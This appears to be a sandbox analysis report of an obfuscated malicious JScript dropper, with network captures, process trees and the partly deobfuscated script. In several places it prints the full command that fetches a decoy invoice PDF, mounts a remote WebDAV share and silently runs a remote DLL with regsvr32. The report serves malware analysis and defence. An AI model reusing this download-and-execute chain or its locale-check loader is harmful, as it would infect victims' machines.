Jan 11, 2025 03:26:48.662518024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662547112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662565947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662580013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662612915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662632942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662648916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662702084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662823915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662858009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662889957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662914991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.662923098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662955999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.662971020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.697478056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697503090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697531939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697549105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697566032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697582006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697598934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697616100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.697617054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.697722912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.716841936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.716875076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.716924906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.716963053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.716990948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.717014074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.717051983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.717293978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.738454103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.920166016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:49.866715908 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:49.871782064 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:49.871870995 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:49.872819901 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:49.877599955 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:50.654887915 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:50.703718901 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:50.972660065 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:27:05.409859896 CET	52276	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:05.415529966 CET	53	52276	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:05.415637016 CET	52276	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:05.421417952 CET	53	52276	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:05.881623030 CET	52276	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:05.886749983 CET	53	52276	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:05.886859894 CET	52276	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:06.894155025 CET	65363	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:06.899055004 CET	53	65363	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:06.899302006 CET	65363	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:06.904252052 CET	53	65363	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:07.363935947 CET	65363	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:07.369153976 CET	53	65363	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:07.369209051 CET	65363	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:26:57.075903893 CET	59836	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:27:05.409307003 CET	53	63381	1.1.1.1	192.168.2.4
Jan 11, 2025 03:27:06.893512964 CET	53	64840	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:26:57.075903893 CET	192.168.2.4	1.1.1.1	0x3ffe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:26:57.084587097 CET	1.1.1.1	192.168.2.4	0x3ffe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:26:58.131202936 CET	1.1.1.1	192.168.2.4	0x760f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:26:58.131202936 CET	1.1.1.1	192.168.2.4	0x760f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7392	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:26:47.172687054 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:26:47.932123899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:26:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:26:47.932154894 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:26:47.932172060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:26:47.932188988 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:26:47.932204008 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:26:47.932220936 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 03:26:47.932235956 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:26:47.932250977 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:26:47.932266951 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 03:26:47.932317019 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 03:26:47.937053919 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7632	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:26:49.872819901 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:26:50.654887915 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:26:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:26:42
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2624560062728623951.js"
Imagebase:	0x7ff7e8c90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:26:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Imagebase:	0x7ff69dbc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:26:43
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:26:43
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:26:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:26:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69dbc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:26:48
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74ee50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:26:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:26:49
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:26:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,10507283532286876311,14528673037070640338,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function aidveldmk() {	aidveldmk() ➔ undefined
1	cjzvsi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qcpuu = this[mbgqld + xntde + dnfowxnzp + dctfpef + qttidv + pvvmzi + fjriscatq + safuwiclz] ( this[hbjdgzrj + btsajm + trupbjufg + dnfowxnzp + glnlero + mbgqld + safuwiclz][kyuvx + dnfowxnzp + qttidv + xntde + safuwiclz + qttidv + scexpbhzx + ncwcq + cxvfpdr + qttidv + trupbjufg + safuwiclz] ( hbjdgzrj + btsajm + trupbjufg + dnfowxnzp + glnlero + mbgqld + safuwiclz + fedynti + btsajm + wbmhvnq + qttidv + ysepetv + ysepetv ) [iyppoue + qttidv + uerqlqp + iyppoue + qttidv + xntde + wakxi] ( alhlx + nmrlzlr + gygsebd + mggiynbr + zxitac + kyuvx + zuxedlp + iyppoue + iyppoue + gygsebd + badnjffnf + vstaqzkd + zxitac + zuxedlp + btsajm + gygsebd + iyppoue + fqohnjln + kyuvx + sanljsrs + fjriscatq + safuwiclz + dnfowxnzp + sanljsrs + ysepetv + rkyghl + dznfzbbep + xntde + fjriscatq + qttidv + ysepetv + fqohnjln + pvvmzi + fjriscatq + safuwiclz + qttidv + dnfowxnzp + fjriscatq + xntde + safuwiclz + glnlero + sanljsrs + fjriscatq + xntde + ysepetv + fqohnjln + ildee + sanljsrs + trupbjufg + xntde + ysepetv + qttidv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qevsypag = 0 ; qevsypag < cjzvsi[ysepetv + qttidv + fjriscatq + uerqlqp + safuwiclz + wbmhvnq] ; ++ qevsypag )
4	{
5	if ( qcpuu == cjzvsi[qevsypag] )
6	{
7	qcpuu = true;
8	break ;
9	}
10	}
11	if ( qcpuu !== true )
12	this[hbjdgzrj + btsajm + trupbjufg + dnfowxnzp + glnlero + mbgqld + safuwiclz][kiaeiwl + ezuousp + glnlero + safuwiclz] ( );
13	this[hbjdgzrj + btsajm + trupbjufg + dnfowxnzp + glnlero + mbgqld + safuwiclz][kyuvx + dnfowxnzp + qttidv + xntde + safuwiclz + qttidv + scexpbhzx + ncwcq + cxvfpdr + qttidv + trupbjufg + safuwiclz] ( hbjdgzrj + btsajm + trupbjufg + dnfowxnzp + glnlero + mbgqld + safuwiclz + fedynti + btsajm + wbmhvnq + qttidv + ysepetv + ysepetv ) [dnfowxnzp + ezuousp + fjriscatq] ( trupbjufg + efzvzqfb + wakxi + rkyghl + ovbfe + trupbjufg + rkyghl + mbgqld + sanljsrs + xuyhkg + qttidv + dnfowxnzp + dctfpef + wbmhvnq + qttidv + ysepetv + ysepetv + fedynti + qttidv + jbzvuv + qttidv + rkyghl + bwblgopy + kyuvx + sanljsrs + efzvzqfb + efzvzqfb + xntde + fjriscatq + wakxi + rkyghl + yzcfcczlf + pvvmzi + fjriscatq + fkmqmca + sanljsrs + uymwzrkt + qttidv + bwblgopy + hbjdgzrj + qttidv + ncwcq + iyppoue + qttidv + trvchtla + ezuousp + qttidv + dctfpef + safuwiclz + rkyghl + bwblgopy + scexpbhzx + ezuousp + safuwiclz + mehgscub + glnlero + ysepetv + qttidv + rkyghl + mxuqncrb + safuwiclz + qttidv + efzvzqfb + mbgqld + mxuqncrb + fqohnjln + glnlero + fjriscatq + fkmqmca + sanljsrs + glnlero + trupbjufg + qttidv + fedynti + mbgqld + wakxi + ttlhan + rkyghl + wbmhvnq + safuwiclz + safuwiclz + mbgqld + ewariz + ovbfe + ovbfe + fuwkqjdyw + xambfhl + cemysgyvj + fedynti + fuwkqjdyw + pbvns + cemysgyvj + fedynti + fuwkqjdyw + fedynti + jvnwsads + uapatz + mkrjbb + ovbfe + glnlero + fjriscatq + fkmqmca + sanljsrs + glnlero + trupbjufg + qttidv + fedynti + mbgqld + wbmhvnq + mbgqld + yzcfcczlf + xcjybptsf + xcjybptsf + dctfpef + safuwiclz + xntde + dnfowxnzp + safuwiclz + rkyghl + mxuqncrb + safuwiclz + qttidv + efzvzqfb + mbgqld + mxuqncrb + fqohnjln + glnlero + fjriscatq + fkmqmca + sanljsrs + glnlero + trupbjufg + qttidv + fedynti + mbgqld + wakxi + ttlhan + xcjybptsf + xcjybptsf + trupbjufg + efzvzqfb + wakxi + rkyghl + ovbfe + trupbjufg + rkyghl + fjriscatq + qttidv + safuwiclz + rkyghl + ezuousp + dctfpef + qttidv + rkyghl + fqohnjln + fqohnjln + fuwkqjdyw + xambfhl + cemysgyvj + fedynti + fuwkqjdyw + pbvns + cemysgyvj + fedynti + fuwkqjdyw + fedynti + jvnwsads + uapatz + mkrjbb + pkgtrpk + rxlly + rxlly + rxlly + rxlly + fqohnjln + wakxi + xntde + fkmqmca + xuyhkg + xuyhkg + xuyhkg + dnfowxnzp + sanljsrs + sanljsrs + safuwiclz + fqohnjln + xcjybptsf + xcjybptsf + trupbjufg + efzvzqfb + wakxi + rkyghl + ovbfe + trupbjufg + rkyghl + dnfowxnzp + qttidv + uerqlqp + dctfpef + fkmqmca + dnfowxnzp + cemysgyvj + jvnwsads + rkyghl + ovbfe + dctfpef + rkyghl + fqohnjln + fqohnjln + fuwkqjdyw + xambfhl + cemysgyvj + fedynti + fuwkqjdyw + pbvns + cemysgyvj + fedynti + fuwkqjdyw + fedynti + jvnwsads + uapatz + mkrjbb + pkgtrpk + rxlly + rxlly + rxlly + rxlly + fqohnjln + wakxi + xntde + fkmqmca + xuyhkg + xuyhkg + xuyhkg + dnfowxnzp + sanljsrs + sanljsrs + safuwiclz + fqohnjln + pbvns + fuwkqjdyw + cemysgyvj + mkrjbb + cemysgyvj + jvnwsads + bmmfktyhf + rxlly + xambfhl + fuwkqjdyw + cemysgyvj + uapatz + jvnwsads + fedynti + wakxi + ysepetv + ysepetv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll",0,false) ➔ 0
14	}
15	xambfhl = "A";
16	xambfhl = "i";
17	xambfhl = "p";
18	xambfhl = "k";
19	xambfhl = "a";
20	xambfhl = "h";
21	xambfhl = "g";
22	xambfhl = "L";
23	xambfhl = "K";
24	xambfhl = "g";
25	xambfhl = "E";
26	xambfhl = "Q";
27	xambfhl = "y";
28	xambfhl = "H";
29	xambfhl = "L";
30	xambfhl = "s";
31	xambfhl = "l";
32	xambfhl = "k";
33	xambfhl = "x";
34	xambfhl = "i";
35	xambfhl = "M";
36	xambfhl = "V";
37	xambfhl = "f";
38	xambfhl = "X";
39	xambfhl = "w";
40	xambfhl = "A";
41	xambfhl = "z";
42	xambfhl = "s";
43	xambfhl = "9";
44	rkyghl = "C";
